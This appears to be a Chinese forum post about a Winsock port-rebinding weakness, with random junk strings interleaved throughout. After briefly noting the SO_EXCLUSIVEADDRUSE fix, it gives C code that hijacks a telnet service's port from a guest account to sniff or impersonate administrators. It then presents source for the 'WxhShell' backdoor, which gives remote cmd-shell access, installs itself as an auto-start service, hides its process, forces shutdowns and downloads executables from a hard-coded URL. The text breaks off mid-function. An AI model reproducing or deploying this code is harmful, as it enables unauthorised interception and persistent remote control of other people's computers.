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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: O`N,aYo s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); hw)z] [biz[fm saddr.sin_family = AF_INET; YhooD,[. +UTBiB R saddr.sin_addr.s_addr = htonl(INADDR_ANY); ;vWJOvM2 { ~(XO@;b bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); -rHqU| fZJM'+J@A 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 77 Z:!J| #T`1Z"h< 这意味着什么?意味着可以进行如下的攻击: _G/uDP% +@7c:CAy( 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 B)0;gWK ,W/Y@ScC 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) z U*Mk (OavgJ+Y 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 9VIAOky- p!<PRms@ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 { Q!Xxe>6 +apn3\_ 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 1}p:]/; 5>=4$!` 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 f3h]t0M 2n#H%&^?a 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 }/IP\1bG (hRg0Z= #include 1 .o0" #include sqRvnCD! #include d?cCSf #include ST4[d'|j DWORD WINAPI ClientThread(LPVOID lpParam); [p(0g;bx int main() 89P7iSV#* { 0U#m7j WORD wVersionRequested; 9o]!D,u8=5 DWORD ret; <Skf
n`). WSADATA wsaData; xf|C{XV@H BOOL val; -KG1"g,2 SOCKADDR_IN saddr; gh `_{l
SOCKADDR_IN scaddr; ofgNL .u int err; bhfKhXh8 SOCKET s; \`-xxhb?e SOCKET sc; ;rnhv:Iw int caddsize; YhN:t? HANDLE mt; a'*~E?b DWORD tid; whGtVx|zR wVersionRequested = MAKEWORD( 2, 2 ); qK%#$JgqA err = WSAStartup( wVersionRequested, &wsaData ); X2P8Zq=%a if ( err != 0 ) { ldRq:M5z printf("error!WSAStartup failed!\n"); 9c5DEq return -1; Fa{[kJ8z } "1p,
r&} saddr.sin_family = AF_INET; KmWd$Qy, KR%NgV+}!0 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'mF&`BN}b c s:E^ saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); G1I<B saddr.sin_port = htons(23); };gcM@]]E if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Mi}k>5VT { ogV v 8Xb printf("error!socket failed!\n"); |F qujZz return -1;
?dk)2 } |ss4pN0X val = TRUE; [EQTrr(
D //SO_REUSEADDR选项就是可以实现端口重绑定的 rV*Ri~Vx if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) `?d`
#)Ck { ?-<>he printf("error!setsockopt failed!\n"); SF"r</c[ return -1; "K;""]#wg0 } '=Acg"aT //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; tQTjqy{K //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 #;;A~d:V //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ':f,RG nY?&k$n if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) w(*}, { T]\'D&P~D ret=GetLastError(); YjPj#57+ printf("error!bind failed!\n"); ]L3MIaO2T return -1; 3,Iu!KB } Odw9]`,T listen(s,2); }1.'2.<Y while(1) ~;t/VsgGW { ^5k~7F. caddsize = sizeof(scaddr); X2YBZA //接受连接请求 Ak3V< =gx sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Qr-,J_ if(sc!=INVALID_SOCKET) crgVedx~} { UH((d*HX4 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {GGP8 if(mt==NULL) AyOy&]g { Y+0GJuBf printf("Thread Creat Failed!\n"); hANe$10=H break; vVjk9_Ul } SXNde@%
{ } I(z16wQ CloseHandle(mt); *- E'$ } @S&QxE^ closesocket(s); I`x[1%y2 F WSACleanup(); s+h}O}RV return 0; Q+O./1x*, } J2$,'(!( DWORD WINAPI ClientThread(LPVOID lpParam) 4lwoTGVZj { o76{;Bl\O SOCKET ss = (SOCKET)lpParam; iUZV-jl2/ SOCKET sc; =i},$"Bf*% unsigned char buf[4096]; | _nBiHjNn SOCKADDR_IN saddr; ~CHVU3 long num; iAt&927 DWORD val; p ^)3p5w DWORD ret; q-/t?m0 //如果是隐藏端口应用的话,可以在此处加一些判断 t"vkd //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 w=5<mw saddr.sin_family = AF_INET; mgb+HNH%q\ saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); h:KEhj\d? saddr.sin_port = htons(23); F4IU2_CnPD if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )`mBvS.} { Sf2xI' printf("error!socket failed!\n"); %Y9CZRY9 return -1; vX&W;& } /*t H$\6* val = 100; 8/lgM'Eux if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) }q,d JE { {W=5
J7 ret = GetLastError(); )G*xI`(@ return -1; -Q|]C{r } ~"8r=8| if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) X, }(MW { Q!r` G ret = GetLastError(); HI,`O return -1; ryb81 .| } F(Je$c/J|~ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N686~ { 2AEVBkF;M printf("error!socket connect failed!\n"); {+EnJ" closesocket(sc); d-z[=1m closesocket(ss); h-DHIk3/ return -1; beNy5~M$ } ~y,m7%L while(1) '1~;^rU { 3^-\=taN<m //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 o.s(=iG //如果是嗅探内容的话,可以再此处进行内容分析和记录 U.Y7]#P: //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 `]a0z|2'! num = recv(ss,buf,4096,0); ,Kt51vG i if(num>0) U/_hH*N"! send(sc,buf,num,0); xtK\-[n else if(num==0) ` }B,w-,io break; NCgKWyRR num = recv(sc,buf,4096,0); ,;f5OUl?[ if(num>0) F^5\w-gLY send(ss,buf,num,0); F3L+X5D.yu else if(num==0) LCuz_LTFq{ break; :#D~j]pP } Kq(JHB+ closesocket(ss); g8@F/$HY closesocket(sc); Lyit`j~yH return 0 ; FrE#l.)?! } !'B=']. x~K79Mya l hST%3Ld ========================================================== +,j6dYub IR8yE`(h 下边附上一个代码,,WXhSHELL 7y_<BCx
h QlS_{XV ========================================================== s'bTP(wl9 ,5AEtoF #include "stdafx.h" -aV(6i*n Q 9E.AN #include <stdio.h> &y7xL-xP #include <string.h> PKQ.gPu6*@ #include <windows.h> "8~PfLJ+ #include <winsock2.h> ,H1K sN #include <winsvc.h> }F|B'[wn #include <urlmon.h> hE<Sm*HU EV7lgKM^ #pragma comment (lib, "Ws2_32.lib") &xp]9$ #pragma comment (lib, "urlmon.lib") l=x(
E'NS$,h #define MAX_USER 100 // 最大客户端连接数 2jxIr-a1G #define BUF_SOCK 200 // sock buffer }(,{^".[} #define KEY_BUFF 255 // 输入 buffer h\Q@zR*0a e3?z^AUXm #define REBOOT 0 // 重启 wuM'M<J@ #define SHUTDOWN 1 // 关机 RE4WD9n Ty#sY'% #define DEF_PORT 5000 // 监听端口 }0iHf'~DH* Xz9[0;Q #define REG_LEN 16 // 注册表键长度 >?6HUUQ #define SVC_LEN 80 // NT服务名长度 JpxQS~VX GRaU]Z]ck // 从dll定义API g's!\kr typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ~Yc!~Rz typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); D4uAwmc typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V^rL typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [B +:)i Q7i(M >|O // wxhshell配置信息 ^aQ&.q struct WSCFG { 9%bErMHL int ws_port; // 监听端口 CxSh.$l char ws_passstr[REG_LEN]; // 口令 /)`]p1c1%w int ws_autoins; // 安装标记, 1=yes 0=no L\t_zf_0 char ws_regname[REG_LEN]; // 注册表键名 K}2G4*8S_G char ws_svcname[REG_LEN]; // 服务名 *adznd char ws_svcdisp[SVC_LEN]; // 服务显示名 b*/Mco 9O char ws_svcdesc[SVC_LEN]; // 服务描述信息 #=;vg char ws_passmsg[SVC_LEN]; // 密码输入提示信息 /Gn0|]KI int ws_downexe; // 下载执行标记, 1=yes 0=no X{<taD2~ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" ]Qa|9G,b char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WW2hwB( i0J`{PbI }; %wI)uJ2 ;8^(Z // default Wxhshell configuration S_ UAz struct WSCFG wscfg={DEF_PORT, =LGSywWM9 "xuhuanlingzhe",
g/i%XTX> 1, 1
-C~C]& "Wxhshell", Ob}XeN(L3 "Wxhshell", L
u'<4 R "WxhShell Service", B*w]yL( "Wrsky Windows CmdShell Service", ),[@NK&= "Please Input Your Password: ", `xx3JQv[ 1, &]shBvzl^ " http://www.wrsky.com/wxhshell.exe", (E,Ibz2G:e "Wxhshell.exe" 6 jm@`pYbE }; 3:xKq4? HFlExau // 消息定义模块
sFnR; char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; #9F>21UU char *msg_ws_prompt="\n\r? for help\n\r#>"; E31YkD.A char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 7#NHPn char *msg_ws_ext="\n\rExit."; O.-n&U9 char *msg_ws_end="\n\rQuit."; $EEn]y
char *msg_ws_boot="\n\rReboot..."; ST;o^\B char *msg_ws_poff="\n\rShutdown..."; `w`F-ke]I char *msg_ws_down="\n\rSave to "; x+;y0`oL =N8_S$nx( char *msg_ws_err="\n\rErr!"; FOsxId[f9 char *msg_ws_ok="\n\rOK!"; jA[Ir3 >EZZEd char ExeFile[MAX_PATH]; 29VX-45 int nUser = 0; xplV6q` HANDLE handles[MAX_USER]; Wq"-T.i int OsIsNt; ]f&f_"D MLg{Y?@ SERVICE_STATUS serviceStatus; _[-W*,xJ) SERVICE_STATUS_HANDLE hServiceStatusHandle; xR|^{y9n O&yAFiCd // 函数声明 K]G(u"' int Install(void); >tx[UF@P@ int Uninstall(void); SM2N3"\ int DownloadFile(char *sURL, SOCKET wsh); r4DHALu#) int Boot(int flag); qvK/} void HideProc(void); <;O^3_' int GetOsVer(void); (DS"*4ty int Wxhshell(SOCKET wsl); SbzJeaZv void TalkWithClient(void *cs); kFC*, int CmdShell(SOCKET sock); nc\2A>f` int StartFromService(void); 0:<Y@#L int StartWxhshell(LPSTR lpCmdLine); +."cbqGP_q k_ywwkG9lU VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <VutwtA VOID WINAPI NTServiceHandler( DWORD fdwControl ); s{8=Q0^ G--(Ef%v' // 数据结构和表定义 BV
}CmU&DA SERVICE_TABLE_ENTRY DispatchTable[] = YOj&1ymBZ { ~!Nw]lb! {wscfg.ws_svcname, NTServiceMain}, yT5OFD|T {NULL, NULL} yU4mS;GX }; } .Z` 9V[}#(f$ // 自我安装 gIusp917 int Install(void) 0@{0#W3R { @rDBK] V char svExeFile[MAX_PATH]; :#35mBe}k HKEY key; w0lgB%97p strcpy(svExeFile,ExeFile); (Y8LyY =QbOvIq // 如果是win9x系统,修改注册表设为自启动 vt^7:!r if(!OsIsNt) { sQ,xTWdj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { lX)AbK]nb RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k?TZY|_ RegCloseKey(key); \AH5zdK if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oP%5ymL%J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0"T/a1S7bl RegCloseKey(key); ,+4T7 U R return 0; :]]x^wony~ } &qWB\m } M\ } -!\%##r7~ else { P=KhR&gwV~ +,AzxP
_y // 如果是NT以上系统,安装为系统服务 xkiiQs) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :vzIc3~c:` if (schSCManager!=0) }LKD9U5;8 { *Egg*2P;"Q SC_HANDLE schService = CreateService L8!yP.3 ( 9H/R@i[E schSCManager, cs.t#C wscfg.ws_svcname, 0B!(i.w wscfg.ws_svcdisp, D}lqd Ja SERVICE_ALL_ACCESS, wytMoG\ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n%#3xoa SERVICE_AUTO_START, *PV"&cx SERVICE_ERROR_NORMAL, 7aKI=;60. svExeFile, 4%w<Ekd NULL, bv'>4a NULL, la w$LL NULL, kp* ! NULL, JGTsVa2 NULL SA&(%f1d ); naH(lz|v if (schService!=0) *<y9.\zY< { p9u*l CloseServiceHandle(schService); A%HIfSzQBS CloseServiceHandle(schSCManager); /|P{t{^WM strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k'H[aYMA strcat(svExeFile,wscfg.ws_svcname); 6kLy!QS if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { /j}Tv.'d RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); +Ln^<!P RegCloseKey(key); GD]epr%V return 0; b @0=&4 } 3di;lzGq } T 4p}5ew' CloseServiceHandle(schSCManager); ?%qaoxG37 } e98QT9 } Y6H?ZOq D"$Y, d return 1; <N$ Hb2b } _cWuRvY -Yh(bS
l // 自我卸载 ,f>9oOqqA int Uninstall(void) ^>Z_3{s:$ { 1/w8'Kf'u HKEY key; h]t v+\0 %<a3[TQd`\ if(!OsIsNt) { B ;E"VS0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 9X=<uS RegDeleteValue(key,wscfg.ws_regname); `y^\c#k RegCloseKey(key); amC)t8L? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Nc{&AV8Y_v RegDeleteValue(key,wscfg.ws_regname); fxoEK}TM RegCloseKey(key); 0E!-G= v return 0; `'<$N<! } {}ADsh@7d' } WQ[nK5# } '@hUmrl else { =FV(m
S tlUh8os SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 7<MEM NYX if (schSCManager!=0) d94k { D:bmq93PC SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); "``>ii if (schService!=0) ;<Hk Cd { ."^\1N(.n if(DeleteService(schService)!=0) { |C z7_Rn CloseServiceHandle(schService); )1M2}11uS CloseServiceHandle(schSCManager); ,3T"fT-( return 0; Uoe;=P@ } P658
XKE CloseServiceHandle(schService); {R(CGrI } {cOx0= CloseServiceHandle(schSCManager); ou~$XZ7oi } >4Tk#+%Jj } DGb1_2ZQ tJ K58m$ return 1; lW-h
@ } I8)D { m~)~/z? // 从指定url下载文件 #2ta8m), int DownloadFile(char *sURL, SOCKET wsh) MooH`2Fd {
6A]I" E]5 HRESULT hr; 3w"JzC@ char seps[]= "/"; vu^mLc char *token; !(? 7V char *file; Sv /P:r
_ char myURL[MAX_PATH]; B!x#|vGXL char myFILE[MAX_PATH]; l+P!I{n b)KEB9w strcpy(myURL,sURL); 6[ 3 K@ token=strtok(myURL,seps); "q M while(token!=NULL) i56Rdb { FsWp>}o file=token; %|}*xMQ token=strtok(NULL,seps); '#3FEo } Y=G`~2Pr= kOD=H-vSi GetCurrentDirectory(MAX_PATH,myFILE); V.*M;T\i strcat(myFILE, "\\"); *1kFy_Gx strcat(myFILE, file); aH uMm& send(wsh,myFILE,strlen(myFILE),0); qKd ="PR} send(wsh,"...",3,0); o
[V8h@K) hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); }vU/]0@,E if(hr==S_OK) oJQS&3;/r return 0; TY %zw6 #p else P}5bSQ( a3 return 1; 1 mJUlx JZ-@za6u } ^-q{:lx <Qih&P9;> // 系统电源模块 (i%bQZt^? int Boot(int flag) :E6*m\X!3 { {c_bNYoE HANDLE hToken; AP,ZMpw TOKEN_PRIVILEGES tkp; E!1\9wzM{ ri8=u$! if(OsIsNt) { 9MZ)- OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); hDB(y4/ LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >JE+g[$@ tkp.PrivilegeCount = 1; b5=|1SjR tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; j#2Xw25 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); }g-w[w 7p if(flag==REBOOT) { eo4z!@pRN if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $zCCeRP return 0; <dP\vLH_ } i;C` .+ else { ef '?O if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) =l/Dc=[ return 0; ;.sYE/ZVi } ^_@[1'^ } ~8nR3ki else { EIQ3vOq6 if(flag==REBOOT) { fiWN^sTM if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KMy"DVqE return 0; ynM~&]fk#k } &t<gK
D else { +W[f>3`VQ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) K1J |\!o return 0; <lIm==U<- } ,hI$nF0}p } vFdI?(c- V':A! return 1; 3GE;:;8B } 1T|")D `B3-#!2X // win9x进程隐藏模块 Izu____ void HideProc(void) 4w ,L { w%qnH e9 X:Wd%CHP HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); v.8kGF if ( hKernel != NULL ) E~WbV+,3 { ]j:k!=Ss? pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); MF'Z?M ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yOEy3d=* FreeLibrary(hKernel); O D N_i } Yz0fOX !J;Bm,Xn6 return; ck0%H#BYY } D1-/#QN$1 TPBQfp%HU // 获取操作系统版本 J i@q7qkC int GetOsVer(void) AYY(<b { | 8mWR=9fs OSVERSIONINFO winfo; akr2Os winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); G?Gf,{#K GetVersionEx(&winfo); +8Q @R)3 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CtN\-E- return 1; wg)Bx#>\L: else B/a`5&G] return 0; Xykoq"dbb } ^"|q~2 JjI1^FRd // 客户端句柄模块 [6RODp3') int Wxhshell(SOCKET wsl) Rl cL(HM { )tJaw#Mih SOCKET wsh; !Ltx2CB2] struct sockaddr_in client; )=}qAVO8 DWORD myID; AcnY6:3Y| YFu,<8"swe while(nUser<MAX_USER) bi}aVtG~z { dF51_Kk int nSize=sizeof(client); ~;$QSO\2h wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &1T)'Bn if(wsh==INVALID_SOCKET) return 1; 3xz~## W"@'}y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~fD\=- S1 if(handles[nUser]==0) 5SUO`4L closesocket(wsh); '6NrL;
else RICm$, nUser++; M.dX;iM< } ^g(qPtQ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~Sb)i f g#74c'+ return 0; REU&8J@k&? } VOr:G85*s ~tfd9,t // 关闭 socket 3s%DF, void CloseIt(SOCKET wsh) ef7 U7 { "aKlvK:77 closesocket(wsh); >CrrxiG nUser--; +2:HgW ExitThread(0); .
U6(>6- } A/a=)su CB>W# P% // 客户端请求句柄 (|AZO! void TalkWithClient(void *cs) X(E`cH
| { #]1jvB _y6iR&&x SOCKET wsh=(SOCKET)cs; UmpHae char pwd[SVC_LEN]; \41/84BA char cmd[KEY_BUFF]; .9ZK@xM&? char chr[1]; 'vtJl int i,j; ygja{W. RTd,bi* while (nUser < MAX_USER) { -`Z!p 1mtYap4
if(wscfg.ws_passstr) { 0sw;h.VY if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B2$cY;LH //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }XUI1H]jk //ZeroMemory(pwd,KEY_BUFF); s%R,]q i=0; ]Zh$9YK while(i<SVC_LEN) { MkGQ i75\<X // 设置超时 7&P70DO fd_set FdRead; gp$]0~[tO struct timeval TimeOut; PJm@fK(j FD_ZERO(&FdRead); 3r[F1z2B FD_SET(wsh,&FdRead); $'>iNMtK{p TimeOut.tv_sec=8; F(/<ADx TimeOut.tv_usec=0; H1?C:R int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0@{bpc rc if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Sx~mc_ekY 6v scu2 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qh8pOUD0l} pwd =chr[0]; W!" $g if(chr[0]==0xd || chr[0]==0xa) { /YPG_,lRA pwd=0; O251. hXK break; POl-S<QV } C%<Dq0j i++; ZR=i*y } P}Mu|AEG -0;{ // 如果是非法用户,关闭 socket yMkR)HY if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); lBG=jOS } ?d%}K76V< 7I
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZqGq%8\.s send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S9BJjo n(+:l'#HJ while(1) { pVY.&XBZ$ P$QfcJq&c* ZeroMemory(cmd,KEY_BUFF); 3WVHI$A9 $_UF9l0 // 自动支持客户端 telnet标准 Q&LkST-i j=0; EkBM>*W while(j<KEY_BUFF) { mnia>;
0H if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J{ Vl2P?@ cmd[j]=chr[0]; #75;%a8 if(chr[0]==0xa || chr[0]==0xd) { \#}%E h
b cmd[j]=0; ),Rj@52l break; &_6:TqJ } f<'C<xnf j++; G7<X l} } kgu+q\? lb('r"*. // 下载文件 _Owz% if(strstr(cmd,"http://")) { M@3H]t? send(wsh,msg_ws_down,strlen(msg_ws_down),0); zYNJF>^< if(DownloadFile(cmd,wsh)) U|QDV16f send(wsh,msg_ws_err,strlen(msg_ws_err),0); |g{AD` else 57}q'84 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Sq'z<}o } P;/T`R=Vr" else { !]nCeo cG'Wh@ switch(cmd[0]) { `xr%LsNn a*8}~p, // 帮助 (!(bysi9 case '?': { Mg$Z^v|}0 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1d"P) 3dQ break; Y4O L 82Y } jj2UUQ| // 安装 4Ojw&ys@V case 'i': { U{Z>y?V/ if(Install()) ^J_hkw~gO send(wsh,msg_ws_err,strlen(msg_ws_err),0); qr9F else [8w2U%}] send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YB|9k)Z2[ break; kes'q8k } $%-?S]6) // 卸载 Ymu=G3- case 'r': { 11sW$@xs
9 if(Uninstall()) $\
'\@3o send(wsh,msg_ws_err,strlen(msg_ws_err),0); G;;~xfE' else 96avgyc send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); luT8>9X^:a break; 86g+c } LayU)TIt // 显示 wxhshell 所在路径 8g NEL+ case 'p': { nmGHJb,$ char svExeFile[MAX_PATH]; a5M>1&j/eC strcpy(svExeFile,"\n\r"); <GN?J.B strcat(svExeFile,ExeFile); De_</1Au!2 send(wsh,svExeFile,strlen(svExeFile),0); as4NvZ@+r break; F?kVW[h?q } @El<"\ // 重启 *@nUas2" case 'b': { ?s]`G'=>V` send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JPG!cX% if(Boot(REBOOT)) 4/?Zp4g send(wsh,msg_ws_err,strlen(msg_ws_err),0); fna>> else { `9l\~t(M
closesocket(wsh); $ Zr,- ExitThread(0); ise}> A!t } ,0bM*qob break; MVdx5,t } :N}KScS|Wa // 关机 eZi<C}z case 'd': { cG:`Zj~4 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); d
]
;pG( if(Boot(SHUTDOWN)) )[*O^bPowI send(wsh,msg_ws_err,strlen(msg_ws_err),0); \irjIXtV else { F948%?a closesocket(wsh); {@AcL:Eit ExitThread(0); xF;v 6d } 1\0@?6`^ break; !%r`'|9y } 3~ZVAg[c // 获取shell lv*uXg.k^ case 's': { 8)8oR&(f CmdShell(wsh); >ULp! closesocket(wsh); KT71%?P ExitThread(0); bobkT|s^s break; I:<R@V<~# } m=B0!Z1xx // 退出 !++62Lf case 'x': { 8zWPb send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [Gy'0P(EQ CloseIt(wsh); V?BVk8D}; break; Pltju4.:C } K3DJ"NJ<Ji // 离开 &NeYKh? case 'q': { 0pa^O$?p send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,0]28D closesocket(wsh); nn4Sy,cz WSACleanup(); I;H9<o5 exit(1); GTl (i*
break; Els= :4 } J94YMyOo } d|RmU/) } >:&p(eu)L0 0K0=Ob^(e // 提示信息 v^fOT5\ if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); MPN=K|* } ^\jX5)2{ } W%K8HAP " `|Z@UPHzG return; '/g+;^_cB } zqr%7U D
;$+] 2 // shell模块句柄 3>)BI(Wl int CmdShell(SOCKET sock) yuDd%
1k { y/hvH"f STARTUPINFO si; a' o8n6i ZeroMemory(&si,sizeof(si)); ^!_7L4&y si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ':)j@O3- si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; PJ:5Lb< PROCESS_INFORMATION ProcessInfo; >Eg .c char cmdline[]="cmd"; hpV
/F CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); }A/&]1GWk return 0; t`t:qko } 5XO'OSdYq eAKQR // 自身启动模式 !&p:=}s int StartFromService(void) e7qMt[. { M;V#Gm typedef struct s^'#"`!v= { M`pTT5r DWORD ExitStatus; oHd0
<TO DWORD PebBaseAddress; Prz+kPP DWORD AffinityMask; :k(t/*Nl3 DWORD BasePriority; E/$@ud|l" ULONG UniqueProcessId; LE80`t>M# ULONG InheritedFromUniqueProcessId; *1S.9L } PROCESS_BASIC_INFORMATION; *Ne2l`!1m xh^ZI6L< PROCNTQSIP NtQueryInformationProcess; /M*\t.[ 46 8;f<q u|w static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PG[O?l static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7C7(bg,7^ / ! HANDLE hProcess; 0*/ r' PROCESS_BASIC_INFORMATION pbi; !_H8Q}a |SukiXJZF HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <;0N@
if(NULL == hInst ) return 0; ';|>`< {^5<{j3e g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
